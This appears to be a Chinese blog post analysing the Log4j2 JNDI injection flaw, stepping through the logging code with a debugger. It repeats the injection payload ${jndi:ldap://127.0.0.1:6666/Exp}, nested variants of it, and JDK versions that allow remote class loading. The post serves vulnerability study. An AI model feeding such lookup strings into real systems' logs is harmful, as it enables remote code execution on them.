[CVE-2021-45105] Apache Log4j2 漏洞复制和模式详细分析-0x04 模式分析:
1、前置知识:
从 payload可以看出,这是基于 JNDI (Java命名和目录接口) 的注入漏洞。什么是 JNDI 注入呢?不了解可以前往 => :https://blog.****.net/gental_z/article/details/122303540
知道是 JNDI 注入,那就要注意一下部分 Java JDK 版本对 JNDI 的限制:(博主复现用的 JDK 8u111)
1、JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true,表示禁用自动加载远程类文件。
2、JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项。
3、JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项。
2、JNDI注入流程:
3、代码审计分析:
采用动态断点调试进行分析
- 我们先在代码中编写 log.error(),作为日志入口。
- 进入error()函数中,我们可以看到在打印日志之前,第一件事情是判断该log日志是否被允许打印。
通过以上代码分析,知道了在没有配置 log4j2.xml 情况下,默认日志 level 是 ERROR, 如果使用 info(), warn() 打印日志,将无法打印。原因:(level: ERROR = 200, WARN = 300, INFO = 400), INFO 和 WARN 的level 均大于 ERROR 的 level, filter 函数返回 false, 既 isEnabled() 返回 false, 导致无法调用 logMessage(),最终退出日志打印。 如下log4j2.xml配置日志级别为 INFO, 那么 error(), info(), warn() 均可以复现。
- 步入 logMessage(), 调用 logMessageSafely(), 注释: “实现编译为30字节的字节码”。 emmm, 不知道有啥用,只要 msg 参数没有发生改变就问题不大,直接跳过继续跟进。
- 现在前期验证工作基本完成,logEventFactory 创建打印事件 createEvent(), 把需要日志输出的信息放入其中, 判断该打印事件是否要忽略,否则执行打印事件。
- 到一处关键位置 callAppenders, Appender 简单说就是管道,定义了日志内容的去向(保存位置)。如果 log4j2.xml 没有配置,获取一个默认console, 并把日志事件 event 装载进去。
- 继续跟进,经过一系列的条件过滤终于到了 appender 的处理了,获取配置文件日志输出格式,对其进行编码。
默认日志格式: %d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n
- 继续跟进可以看到 toText(), 开始对 日志event 进行序列化处理。
- 查看 formatters 数组,可以看到下标为 8 存放的是我们需要打印的信息 (
${jndi:ldap://127.0.0.1:6666/Exp}
)。其余下标存放的都是系统自动根据配置文件打印的额外信息,我们无法通过参数控制,所以直接设置条件断点跳转至 i = 8 进行分析。
条件断点设置技巧:
- 继续跟入看到调用了Converter相关的方法,不难看出每个formatter和converter为了拼接日志的每一部分,最终得到真正的日志打印信息字符串。
- 跟入MessagePatternConverter.format() 方法,终于到了核心代码的部分, 看看是如何识别
${jndi:ldap://127.0.0.1:6666/Exp}
的。
通过判断 message 有没有
${
,如果存在说明是需要进行变量表达式提取并解析,那我在想如果我的格式是:${jndi:ldap://127.0.0.1:6666/Exp
或者${${${${jndi:ldap://127.0.0.1:6666/Exp}}}}
会有用吗?
通过断点调试发现 for 循环次数由${
个数决定的, replace() 就是从${}
中层层递归提取出变量:jndi:ldap://127.0.0.1:6666/Exp
。也就是说${jndi:ldap://127.0.0.1:6666/Exp
格式会执行一次 for 循环,而调用 replace() 由于缺少}
,导致无法正常提取出变量,也就无法解析,进而无法远程加载类弹出计算器。${${${${jndi:ldap://127.0.0.1:6666/Exp}}}}
格式会执行3次 for 循环,每次调用 replace() 都能通过递归提取出变量,进而远程加载类弹出计算器 (弹 3次)。
- 继续步入 replace() 方法,调用 substitute() 方法从
${jndi:ldap://127.0.0.1:6666/Exp}
中递归出变量表达式,调用 resolveVariable() 方法对变量表达式进行解析。
- 进入 resolveVariable() 方法,可以看到 getVariableResolver() 获取解析器,一共有10种解析器,调用 lookup() 匹配解析器并解析。
- 跟进 lookup.lookup(),最后调用 JndiManager.lookup() 访问 LDAP 服务器,远程加载类弹出计算器。